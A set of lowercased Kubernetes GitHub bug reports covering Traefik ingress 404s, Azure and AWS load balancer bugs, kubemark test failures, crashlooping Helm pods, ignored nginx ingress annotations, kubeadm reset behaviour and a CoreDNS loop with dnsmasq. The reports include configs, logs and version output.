docker version:17.09.0\r system version: centos linux release 7.2.1511  core \r kubernetes version : 1.6.2\r traefik version: v1.4.1\r \r when i using traefik to loadblance and run command 'wget test.traefik.io' ,get the error '404 page not found'.\r where is my problem?\r \r   below is my config:  \r \r    \r  root@server1 traefik1   cat traefik.ds.yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: traefik-ingress-lb\r   namespace: kube-system\r   labels:\r     k8s-app: traefik-ingress-lb\r spec:\r   template:\r     metadata:\r       labels:\r         k8s-app: traefik-ingress-lb\r         name: traefik-ingress-lb\r     spec:\r       terminationgraceperiodseconds: 60\r       hostnetwork: true\r       restartpolicy: always\r       containers:\r       - image: traefik\r         name: traefik-ingress-lb\r         resources:\r           limits:\r             cpu: 200m\r             memory: 30mi\r           requests:\r             cpu: 100m\r             memory: 20mi\r         ports:\r         - name: http\r           containerport: 80\r           hostport: 80\r         - name: admin\r           containerport: 8580\r         args:\r         - --web\r         - --web.address=:8580\r         - --kubernetes\r       imagepullsecrets:\r         - name: myregistrykey\r \r    \r \r \r    \r   root@server1 traefik1   cat traefik.ing.yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: traefik-ingress\r spec:\r   rules:\r   - host: test.traefik.io\r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: rolling-update-test\r           serviceport: 80\r    \r \r \r    \r  root@server1 traefik1   cat ui.yaml \r apiversion: v1\r kind: service\r metadata:\r   name: traefik-web-ui\r   namespace: kube-system\r spec:\r   selector:\r     k8s-app: traefik-ingress-lb\r   ports:\r   - name: web\r     port: 80\r     targetport: 8580\r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: traefik-web-ui\r   namespace: kube-system\r spec:\r   rules:\r   - host: traefik-ui.local\r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: traefik-web-ui\r           serviceport: web\r    \r \r    \r  root@node1 tmp   cat /etc/hosts\r 127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4\r ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6\r 192.168.31.150 test.traefik.io\r    \r \r \r \r \r \r \r \r \r \r \r \r

is this a bug report or feature request?  :\r bug\r \r   \r \r   what happened  :\r the following behaviors observed in azure cloud provider\r  dangling lb resources \r with hyper-active large clusters specially with a lot of create/delete services calls the provider does not cleanly delete ip config/lb rule/nsg config. this can be tested with creating a fairly large cluster  100+ nodes  and creating multiple services.\r \r  expected behavior : the provider should cleanly delete lb arm  resources when a service is un-provisioned. it must also cleanly remove resources if the create process failed, such as the case of reaching max of 60 ip per lb or intermitted failures during arm calls .\r \r  collapsing nsg rules \r ref: https://github.com/kubernetes/kubernetes/issues/54899\r \r  wrong lb selected in clusters with 2+ availability sets \r a user who runs a cluster with many availability sets. this the sop for large scale clusters, services are incorrectly always exposed on the first lb  which is subject to be deleted/changed in typical operating environment  even when there are other available lbs  attached to other availability sets in the same cluster .\r \r  expected behavior : the provider should use  all  the available lbs in the cluster instead of maxing the first one and failing to recognize other lbs..\r \r please ref this issue for any fixes for the above\r \r @jdumars  \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.6.x\r 1.7.x\r 1.8.x\r - cloud provider or hardware configuration:\r azure\r - os  e.g. from /etc/os-release :\r  all \r - kernel  e.g.  uname -a  :\r  all \r - install tools:\r  all

>  \r   what happened  : creating and then updating a service type: loadbalancer on aws doesn't update tags from annotation.\r \r   what you expected to happen  : when updating annotation for tags, i would want them to be updated on the elb\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a service using internal aws elb:\r  kubectl apply -f https://gist.githubusercontent.com/omerh/772ffd0fa4b9441338bd29d433913d20/raw/92415849d36f5a3b4a1b344e117e6b2ce46d9618/service.yml \r \r update service with name and tags  kubectl apply -f https://gist.githubusercontent.com/omerh/772ffd0fa4b9441338bd29d433913d20/raw/92415849d36f5a3b4a1b344e117e6b2ce46d9618/service1.yml \r \r   environment  :\r - kubernetes version  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: aws\r - install tools: kops\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r this looks like a problem with the automated testing.  see https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/60065/pull-kubernetes-kubemark-e2e-gce/81204?log log for an example.  note the entry\r    \r w0313 10:25:15.700  2018/03/13 10:25:15 process.go:150: running: ./test/kubemark/stop-kubemark.sh\r w0313 10:25:17.378  error:  gcloud.compute.instances.delete  could not fetch resource:\r w0313 10:25:17.378   - the resource 'projects/k8s-jkns-pr-kubemark/zones/us-central1-f/instances/e2e-81204-kubemark-master' was not found\r    \r and others like it.\r \r   what you expected to happen  :\r i expected the gce resource wrangling to not fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : release-1.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 >  \r \r   \r $ helm status oketest\r last deployed: tue aug  7 12:13:50 2018\r namespace: oketest\r status: deployed\r \r resources:\r ==> v1beta1/rolebinding\r name                             age\r ova-tiller-binding-oketest       11m\r ova-tiller-binding-kube-oketest  11m\r \r ==> v1/service\r name            type      cluster-ip     external-ip  port s           age\r ova-admin       nodeport  10.96.41.43    <none>       8080:30638/tcp   11m\r ova-analytics   nodeport  10.96.142.243  <none>       8080:32434/tcp   11m\r ova-gearman     nodeport  10.96.48.61    <none>       4730:31725/tcp   11m\r ova-gearman2    nodeport  10.96.47.91    <none>       4730:30187/tcp   11m\r ova-gearman1    nodeport  10.96.245.115  <none>       4730:31255/tcp   11m\r ova-httpd       nodeport  10.96.119.0    <none>       80:30344/tcp     11m\r ova-jetui       nodeport  10.96.248.167  <none>       80:31810/tcp     11m\r ova-memcached1  nodeport  10.96.78.45    <none>       11211:30606/tcp  11m\r ova-vault       nodeport  10.96.83.217   <none>       8200:32089/tcp   11m\r \r ==> v1beta2/deployment\r name            desired  current  up-to-date  available  age\r admin           1        1        1           1          11m\r aggregator      1        1        1           1          11m\r analytics       1        1        1           1          11m\r buildserver     1        1        1           1          11m\r exchangelogger  1        1        1           1          11m\r gearman1        1        1        1           1          11m\r gearman2        1        1        1           1          11m\r httpd           1        1        1           0          11m\r jetui           1        1        1           0          11m\r memcached       1        1        1           1          11m\r vault           1        1        1           1          11m\r \r ==> v1beta1/cronjob\r name                            schedule     suspend  active  last schedule  age\r buildserver-production-rebuild   /5          false    3       36s            11m\r buildserver-staging-rebuild     30 1         false    0       <none>         11m\r \r ==> v1beta1/ingress\r name         hosts                      address        ports    age\r oketest-ova  oketest.devtoolsrocks.com  129.213.11.92  80, 443  11m\r \r ==> v1/pod related \r name                             ready  status            restarts  age\r admin-86979677d4-2mnrq           1/1    running           0         11m\r aggregator-546fbbd845-nxrcc      1/1    running           0         11m\r analytics-59f698f5b7-vvvk6       1/1    running           0         11m\r buildserver-6c98886889-6r2sc     1/1    running           0         11m\r exchangelogger-5d4fd9fb5f-82prm  1/1    running           1         11m\r gearman1-58b885ffbc-725fh        1/1    running           0         11m\r gearman1-58b885ffbc-mgmrp        0/1    terminating       0         22m\r gearman2-5df495d8f5-6lb2z        1/1    running           0         11m\r  httpd-75849bbc5b-gk4k2           0/1    crashloopbackoff  6         11m \r  jetui-bbcb79d66-lghdc            0/1    crashloopbackoff  7         11m \r memcached-5bc9bf55dd-5vz2w       0/1    terminating       0         22m\r memcached-5bc9bf55dd-rjzxp       1/1    running           0         11m\r vault-7b6bf9fbb5-l5qsf           1/1    running           0         11m\r \r ==> v1/secret\r name             type                            data  age\r ova-registrykey  kubernetes.io/dockerconfigjson  1     11m\r \r ==> v1beta1/role\r name                     age\r tiller-ova-kube-oketest  11m\r tiller-ova-oketest       11m\r \r \r notes:\r 1. get the application url by running these commands:\r   :\r \r   kubectl logs httpd-75849bbc5b-gk4k2 --previous should provide logs of crashed container  :\r \r \r   environment  :\r - kubernetes version : 1.10\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : ubuntu 16\r - install tools:\r - others:\r

 \r   what happened  :\r \r applied ingress with annotations and the annotations are ignored.\r \r   what you expected to happen  :\r \r the annotations to be applied and visible when describing the ingress.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply this;\r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: ydos-ingress\r   namespace: ydos\r   annotations:\r     nginx.ingress.kubernetes.io/client-body-buffer-size: 1m\r     nginx.ingress.kubernetes.io/rewrite-target: \ /\ \r     nginx.ingress.kubernetes.io/affinity: \ cookie\ \r     nginx.ingress.kubernetes.io/session-cookie-name: \ ydos-session-ex\ \r     nginx.ingress.kubernetes.io/session-cookie-hash: \ sha1\ \r     nginx.ingress.kubernetes.io/auth-tls-verify-client: \ on\ \r     nginx.ingress.kubernetes.io/auth-tls-secret: \ ydos/wildcard-yellowdog-tech-secret\ \r     nginx.ingress.kubernetes.io/auth-tls-verify-depth: \ 1\ \r     nginx.ingress.kubernetes.io/auth-tls-pass-certificate-to-upstream: \ false\ \r spec:\r   tls:\r   - hosts:\r     - service.yellowdog.tech\r     secretname: wildcard-yellowdog-tech-secret\r   rules:\r   - host: service.yellowdog.tech\r     http:\r       paths:\r       - path: /ydos\r         backend:\r           servicename: ydos-svc\r           serviceport: 80\r    \r \r describe the ingress;\r \r  $ kubectl describe ingress ydos-ingress -n ydos\r name:             ydos-ingress\r namespace:        ydos\r address:          130.61.9.241\r default backend:  default-http-backend:80  <none> \r tls:\r   wildcard-yellowdog-tech-secret terminates service.yellowdog.tech\r rules:\r   host                    path  backends\r   ----                    ----  --------\r   service.yellowdog.tech\r                           /ydos   ydos-svc:80  <none> \r annotations:\r events:  <none>\r  \r \r   anything else we need to know?  :\r \r this is being deployed into a kubernetes ingress-nginx environment. the nginx controller is being updated but no annotations are being applied by kubernetes so affinity is not being configured in the nginx pod.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1+2.1.5.el7\ , gitcommit:\ ea4c95b07dd46d5563e4f6851ede13157bf04266\ , gittreestate:\ archive\ , builddate:\ 2018-03-23t02:54:15z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.1-2+e49fe6296d12ea\ , gitcommit:\ e49fe6296d12ea823430bb7bda457d1201b17277\ , gittreestate:\ clean\ , builddate:\ 2018-07-24t14:24:53z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r name           status    roles     age       version   external-ip    os-image                  kernel-version                  container-runtime\r 130.   ready     node      8d        v1.11.1   130.61.33.85   oracle linux server 7.5   4.1.12-124.18.5.el7uek.x86_64   docker://18.3.1\r 130.    ready     node      8d        v1.11.1   130.61.74.1    oracle linux server 7.5   4.1.12-124.18.5.el7uek.x86_64   docker://18.3.1\r 130.   ready     node      8d        v1.11.1   130.61.95.73   oracle linux server 7.5   4.1.12-124.18.5.el7uek.x86_64   docker://18.3.1\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r kubeadm reset unmounts /var/lib/kubelet instead of just emptying the directory\r \r   what you expected to happen  :\r \r the directory to be emptied instead of unmounted\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a mount point i.e  /data/var/lib/kubelet \r 1. symlink  /var/lib/kubelet  to /data/var/lib/kubelet \r 1. launch a cluster with  kubeadm init \r 1. reset the cluster with  kubeadm reset \r \r my setup uses a symlink to the mount point, i am not sure if the bug still happens when  /var/lib/kubelet  is mounted directly,\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.12.3 \r - cloud provider or hardware configuration:  bare metal with disks to mount \r - os  e.g. from /etc/os-release :  centos linux release 7.5.1804  core  \r - kernel  e.g.  uname -a  :  4.19.5-1.el7.elrepo.x86_64  \r \r <!-- do not edit below this line -->\r 

what happened  :\r \r the coredns pods started by kubeadm crash because of a loop.  dnsmasq  is runnig in the host where kubeadm has been started, so the local dns resolution is comnfigured as:\r \r    \r $ cat /etc/resolv.conf\r nameserver 127.0.0.1\r    \r \r where the  dnsmasq  is running at  0.0.0.0:53 . however, the coredns instance seems to be forwarding requests to 127.0.0.1, leading to this loop. looking at the crashed container logs:\r \r    \r $ docker logs k8s_coredns_coredns-6f685fffbf-rntfb_kube-system_2932d899-f7a4-11e8-9c67-847beb0267d4_27\r .:53\r 2018-12-04t11:14:29.422z  info  coredns-1.2.6\r 2018-12-04t11:14:29.422z  info  linux/amd64, go1.11.2, 756749c\r coredns-1.2.6\r linux/amd64, go1.11.2, 756749c\r   info  plugin/reload: running configuration md5 = f65c4821c8a9b7b5eb30fa4fbc167769\r   fatal  plugin/loop: forwarding loop detected in \ .\  zone. exiting. see https://coredns.io/plugins/loop troubleshooting. probe query: \ hinfo 4084497004091435619.1624521918519337037.\ .\r    \r \r and inspecting the coredns container we can see some of the mounts:\r \r    \r $ docker inspect k8s_coredns_coredns-6f685fffbf-jt4mp_kube-system_2930496d-f7a4-11e8-9c67-847beb0267d4_37\r  \r     {\r         \ id\ : \ 06331e637bf9c2877eaae0c8bcd5c1bdaa8724536450661b3e9618208fd24dbc\ ,\r         \ created\ : \ 2018-12-04t12:05:38.846480573z\ ,\r         \ path\ : \ /coredns\ ,\r         \ args\ :  \r             \ -conf\ ,\r             \ /etc/coredns/corefile\ \r          ,\r         \ state\ : {\r             \ status\ : \ exited\ ,\r             \ running\ : false,\r             \ paused\ : false,\r             \ restarting\ : false,\r             \ oomkilled\ : false,\r             \ dead\ : false,\r             \ pid\ : 0,\r             \ exitcode\ : 1,\r             \ error\ : \ \ ,\r             \ startedat\ : \ 2018-12-04t12:05:39.16909103z\ ,\r             \ finishedat\ : \ 2018-12-04t12:05:40.433300294z\ \r         },\r         \ image\ : \ sha256:f59dcacceff45b5474d1385cd5f500d0c019ed9ca50ed5b814ac0c5fcec8699e\ ,\r         \ resolvconfpath\ : \ /var/lib/docker/containers/3f626e33680086bfe196d9bddab03698b5864e83b0638de5d5c8a5d49fa07c6a/resolv.conf\ ,\r         \ hostnamepath\ : \ /var/lib/docker/containers/3f626e33680086bfe196d9bddab03698b5864e83b0638de5d5c8a5d49fa07c6a/hostname\ ,\r         \ hostspath\ : \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/etc-hosts\ ,\r         \ logpath\ : \ /var/lib/docker/containers/06331e637bf9c2877eaae0c8bcd5c1bdaa8724536450661b3e9618208fd24dbc/06331e637bf9c2877eaae0c8bcd5c1bdaa8724536450661b3e9618208fd24dbc-json.log\ ,\r         \ name\ : \ /k8s_coredns_coredns-6f685fffbf-jt4mp_kube-system_2930496d-f7a4-11e8-9c67-847beb0267d4_37\ ,\r         \ restartcount\ : 0,\r         \ driver\ : \ btrfs\ ,\r         \ platform\ : \ linux\ ,\r         \ mountlabel\ : \ \ ,\r         \ processlabel\ : \ \ ,\r         \ apparmorprofile\ : \ docker-default\ ,\r         \ execids\ : null,\r         \ hostconfig\ : {\r             \ binds\ :  \r                 \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/volumes/kubernetes.io~configmap/config-volume:/etc/coredns:ro\ ,\r                 \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/volumes/kubernetes.io~secret/coredns-token-rt6dz:/var/run/secrets/kubernetes.io/serviceaccount:ro\ ,\r                 \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/etc-hosts:/etc/hosts\ ,\r                 \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/containers/coredns/71ef96a3:/dev/termination-log\ \r              ,\r             \ containeridfile\ : \ \ ,\r             \ logconfig\ : {\r                 \ type\ : \ json-file\ ,\r                 \ config\ : {}\r             },\r             \ networkmode\ : \ container:3f626e33680086bfe196d9bddab03698b5864e83b0638de5d5c8a5d49fa07c6a\ ,\r             \ portbindings\ : null,\r             \ restartpolicy\ : {\r                 \ name\ : \ \ ,\r                 \ maximumretrycount\ : 0\r             },\r             \ autoremove\ : false,\r             \ volumedriver\ : \ \ ,\r             \ volumesfrom\ : null,\r             \ capadd\ :  \r                 \ net_bind_service\ \r              ,\r             \ capdrop\ :  \r                 \ all\ \r              ,\r             \ dns\ : null,\r             \ dnsoptions\ : null,\r             \ dnssearch\ : null,\r              ...\r             \ maskedpaths\ :  \r                 \ /proc/acpi\ ,\r                 \ /proc/kcore\ ,\r                 \ /proc/keys\ ,\r                 \ /proc/latency_stats\ ,\r                 \ /proc/timer_list\ ,\r                 \ /proc/timer_stats\ ,\r                 \ /proc/sched_debug\ ,\r                 \ /proc/scsi\ ,\r                 \ /sys/firmware\ \r              ,\r             \ readonlypaths\ :  \r                 \ /proc/asound\ ,\r                 \ /proc/bus\ ,\r                 \ /proc/fs\ ,\r                 \ /proc/irq\ ,\r                 \ /proc/sys\ ,\r                 \ /proc/sysrq-trigger\ \r              \r         },\r         \ graphdriver\ : {\r             \ data\ : null,\r             \ name\ : \ btrfs\ \r         },\r         \ mounts\ :  \r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/volumes/kubernetes.io~secret/coredns-token-rt6dz\ ,\r                 \ destination\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ ,\r                 \ mode\ : \ ro\ ,\r                 \ rw\ : false,\r                 \ propagation\ : \ rprivate\ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/etc-hosts\ ,\r                 \ destination\ : \ /etc/hosts\ ,\r                 \ mode\ : \ \ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ rprivate\ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/containers/coredns/71ef96a3\ ,\r                 \ destination\ : \ /dev/termination-log\ ,\r                 \ mode\ : \ \ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ rprivate\ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/volumes/kubernetes.io~configmap/config-volume\ ,\r                 \ destination\ : \ /etc/coredns\ ,\r                 \ mode\ : \ ro\ ,\r                 \ rw\ : false,\r                 \ propagation\ : \ rprivate\ \r             }\r          ,\r         \ config\ : {\r             \ hostname\ : \ coredns-6f685fffbf-jt4mp\ ,\r             \ domainname\ : \ \ ,\r             \ user\ : \ 0\ ,\r             \ attachstdin\ : false,\r             \ attachstdout\ : false,\r             \ attachstderr\ : false,\r             \ exposedports\ : {\r                 \ 53/tcp\ : {},\r                 \ 53/udp\ : {}\r             },\r             \ tty\ : false,\r             \ openstdin\ : false,\r             \ stdinonce\ : false,\r             \ env\ :  \r                 \ kubernetes_port_443_tcp_port=443\ ,\r                 \ kube_dns_service_port_dns=53\ ,\r                 \ kube_dns_service_port_dns_tcp=53\ ,\r                 \ kube_dns_port_53_udp_proto=udp\ ,\r                 \ kube_dns_port_53_udp_port=53\ ,\r                 \ kube_dns_port_53_udp_addr=172.24.0.10\ ,\r                 \ kube_dns_port_53_tcp_addr=172.24.0.10\ ,\r                 \ kubernetes_port=tcp://172.24.0.1:443\ ,\r                 \ kubernetes_port_443_tcp_addr=172.24.0.1\ ,\r                 \ kubernetes_service_port_https=443\ ,\r                 \ kubernetes_port_443_tcp=tcp://172.24.0.1:443\ ,\r                 \ kubernetes_port_443_tcp_proto=tcp\ ,\r                 \ kube_dns_service_port=53\ ,\r                 \ kube_dns_port_53_tcp=tcp://172.24.0.10:53\ ,\r                 \ kube_dns_port_53_tcp_proto=tcp\ ,\r                 \ kubernetes_service_port=443\ ,\r                 \ kubernetes_service_host=172.24.0.1\ ,\r                 \ kube_dns_service_host=172.24.0.10\ ,\r                 \ kube_dns_port=udp://172.24.0.10:53\ ,\r                 \ kube_dns_port_53_udp=udp://172.24.0.10:53\ ,\r                 \ kube_dns_port_53_tcp_port=53\ ,\r                 \ path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\ \r              ,\r             \ cmd\ :  \r                 \ -conf\ ,\r                 \ /etc/coredns/corefile\ \r              ,\r             \ healthcheck\ : {\r                 \ test\ :  \r                     \ none\ \r                  \r             },\r             \ image\ : \ sha256:f59dcacceff45b5474d1385cd5f500d0c019ed9ca50ed5b814ac0c5fcec8699e\ ,\r             \ volumes\ : null,\r             \ workingdir\ : \ \ ,\r             \ entrypoint\ :  \r                 \ /coredns\ \r              ,\r             \ onbuild\ : null,\r             \ labels\ : {\r                 \ annotation.io.kubernetes.container.hash\ : \ 87572048\ ,\r                 \ annotation.io.kubernetes.container.ports\ : \  {\\\ name\\\ :\\\ dns\\\ ,\\\ containerport\\\ :53,\\\ protocol\\\ :\\\ udp\\\ },{\\\ name\\\ :\\\ dns-tcp\\\ ,\\\ containerport\\\ :53,\\\ protocol\\\ :\\\ tcp\\\ },{\\\ name\\\ :\\\ metrics\\\ ,\\\ containerport\\\ :9153,\\\ protocol\\\ :\\\ tcp\\\ } \ ,\r                 \ annotation.io.kubernetes.container.restartcount\ : \ 37\ ,\r                 \ annotation.io.kubernetes.container.terminationmessagepath\ : \ /dev/termination-log\ ,\r                 \ annotation.io.kubernetes.container.terminationmessagepolicy\ : \ file\ ,\r                 \ annotation.io.kubernetes.pod.terminationgraceperiod\ : \ 30\ ,\r                 \ io.kubernetes.container.logpath\ : \ /var/log/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/coredns/37.log\ ,\r                 \ io.kubernetes.container.name\ : \ coredns\ ,\r                 \ io.kubernetes.docker.type\ : \ container\ ,\r                 \ io.kubernetes.pod.name\ : \ coredns-6f685fffbf-jt4mp\ ,\r                 \ io.kubernetes.pod.namespace\ : \ kube-system\ ,\r                 \ io.kubernetes.pod.uid\ : \ 2930496d-f7a4-11e8-9c67-847beb0267d4\ ,\r                 \ io.kubernetes.sandbox.id\ : \ 3f626e33680086bfe196d9bddab03698b5864e83b0638de5d5c8a5d49fa07c6a\ \r             }\r         },\r         \ networksettings\ : {\r             \ bridge\ : \ \ ,\r             \ sandboxid\ : \ \ ,\r             \ hairpinmode\ : false,\r             \ linklocalipv6address\ : \ \ ,\r             \ linklocalipv6prefixlen\ : 0,\r             \ ports\ : {},\r             \ sandboxkey\ : \ \ ,\r             \ secondaryipaddresses\ : null,\r             \ secondaryipv6addresses\ : null,\r             \ endpointid\ : \ \ ,\r             \ gateway\ : \ \ ,\r             \ globalipv6address\ : \ \ ,\r             \ globalipv6prefixlen\ : 0,\r             \ ipaddress\ : \ \ ,\r             \ ipprefixlen\ : 0,\r             \ ipv6gateway\ : \ \ ,\r             \ macaddress\ : \ \ ,\r             \ networks\ : {}\r         }\r     }\r  \r    \r \r looking at the resolver set in the coredns container it is really set to  127.0.0.1 :\r \r    \r $ sudo cat /var/lib/docker/containers/3f626e33680086bfe196d9bddab03698b5864e83b0638de5d5c8a5d49fa07c6a/resolv.conf\r nameserver 127.0.0.1\r    \r \r and the coredns configuration file indicates that  127.0.0.1  will be used as the upstream resolver:\r \r    \r $ sudo cat /var/lib/kubelet/pods/2930496d-f7a4-11e8-9c67-847beb0267d4/volumes/kubernetes.io~configmap/config-volume/corefile\r .:53 {\r     errors\r     health\r     kubernetes cluster.local in-addr.arpa ip6.arpa {\r        pods insecure\r        upstream\r        fallthrough in-addr.arpa ip6.arpa\r     }\r     prometheus :9153\r     proxy . /etc/resolv.conf\r     cache 30\r     loop\r     reload\r     loadbalance\r }\r    \r \r \r   what you expected to happen  :\r \r i expected kubeadm to setup a valid dns consiguration. maybe it would be hard  maybe impossible in the context of a cluster  to use the host's  dnsmasq  instance as the upstream for coredns, but  kubeadm  should abort the node initialization or show some warning and use some generic upstream resolver  ie,  8.8.8.8  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we should be able to reproduce this by using  dnsmasq  as a local dns resolver. this is my  kubeadm  configuration file:\r \r    \r apiversion: kubeadm.k8s.io/v1beta1\r bootstraptokens:\r - groups:\r   - system:bootstrappers:kubeadm:default-node-token\r   token: 94dcda.c271f4ff502789ca\r   ttl: 24h0m0s\r   usages:\r   - signing\r   - authentication\r kind: initconfiguration\r localapiendpoint:\r   advertiseaddress: 192.168.100.1\r   bindport: 6443\r noderegistration:\r   crisocket: /var/run/dockershim.sock\r   kubeletextraargs:\r     cni-bin-dir: /var/lib/kubelet/cni/bin\r     cni-conf-dir: /etc/cni/net.d\r     container-runtime-endpoint: unix:///var/run/dockershim.sock\r     network-plugin: cni\r ---\r apiserver:\r   certsans:\r   - 192.168.100.1\r   extraargs:\r     oidc-ca-file: /etc/kubernetes/pki/ca.crt\r     oidc-client-id: kubernetes\r     oidc-groups-claim: group\r     oidc-issuer-url: https://192.168.0.154:32000\r     oidc-username-claim: email\r   timeoutforcontrolplane: 4m0s\r apiversion: kubeadm.k8s.io/v1beta1\r certificatesdir: /etc/kubernetes/pki\r clustername: kubernetes\r controlplaneendpoint: \ \ \r controllermanager: {}\r dns:\r   type: coredns\r etcd:\r   local:\r     datadir: /var/lib/etcd\r     imagerepository: registry.opensuse.org/devel/kubic/containers/container/kubic\r     imagetag: \ 3.3\ \r imagerepository: k8s.gcr.io\r kind: clusterconfiguration\r kubernetesversion: 1.12.2\r networking:\r   dnsdomain: cluster.local\r   podsubnet: 172.16.0.0/13\r   servicesubnet: 172.24.0.0/16\r scheduler: {}\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version --kubeconfig /etc/kubernetes/admin.conf -o json\r {\r   \ clientversion\ : {\r     \ major\ : \ 1\ ,\r     \ minor\ : \ 12\ ,\r     \ gitversion\ : \ v1.12.0\ ,\r     \ gitcommit\ : \ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ ,\r     \ gittreestate\ : \ archive\ ,\r     \ builddate\ : \ 2018-11-07t12:00:00z\ ,\r     \ goversion\ : \ go1.10.4\ ,\r     \ compiler\ : \ gc\ ,\r     \ platform\ : \ linux/amd64\ \r   },\r   \ serverversion\ : {\r     \ major\ : \ 1\ ,\r     \ minor\ : \ 12\ ,\r     \ gitversion\ : \ v1.12.2\ ,\r     \ gitcommit\ : \ 17c77c7898218073f14c8d573582e8d2313dc740\ ,\r     \ gittreestate\ : \ clean\ ,\r     \ builddate\ : \ 2018-10-24t06:43:59z\ ,\r     \ goversion\ : \ go1.10.4\ ,\r     \ compiler\ : \ gc\ ,\r     \ platform\ : \ linux/amd64\ \r   }\r }\r    \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ opensuse leap\ \r version=\ 15.0\ \r id=\ opensuse-leap\ \r id_like=\ suse opensuse\ \r version_id=\ 15.0\ \r pretty_name=\ opensuse leap 15.0\ \r ansi_color=\ 0;32\ \r cpe_name=\ cpe:/o:opensuse:leap:15.0\ \r bug_report_url=\ https://bugs.opensuse.org\ \r home_url=\ https://www.opensuse.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux laxe 4.12.14-lp150.12.25-default  1 smp thu nov 1 06:14:23 utc 2018  3fcf457  x86_64 x86_64 x86_64 gnu/linux\r    \r - others:\r \r    \r $ kubeadm version -o json\r {\r   \ clientversion\ : {\r     \ major\ : \ 1\ ,\r     \ minor\ : \ 13\ ,\r     \ gitversion\ : \ v1.13.0\ ,\r     \ gitcommit\ : \ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ ,\r     \ gittreestate\ : \ clean\ ,\r     \ builddate\ : \ 2018-12-04t09:22:18z\ ,\r     \ goversion\ : \ go1.11.2\ ,\r     \ compiler\ : \ gc\ ,\r     \ platform\ : \ linux/amd64\ \r   }\r }\r    \r <!-- do not edit below this line -->\r 

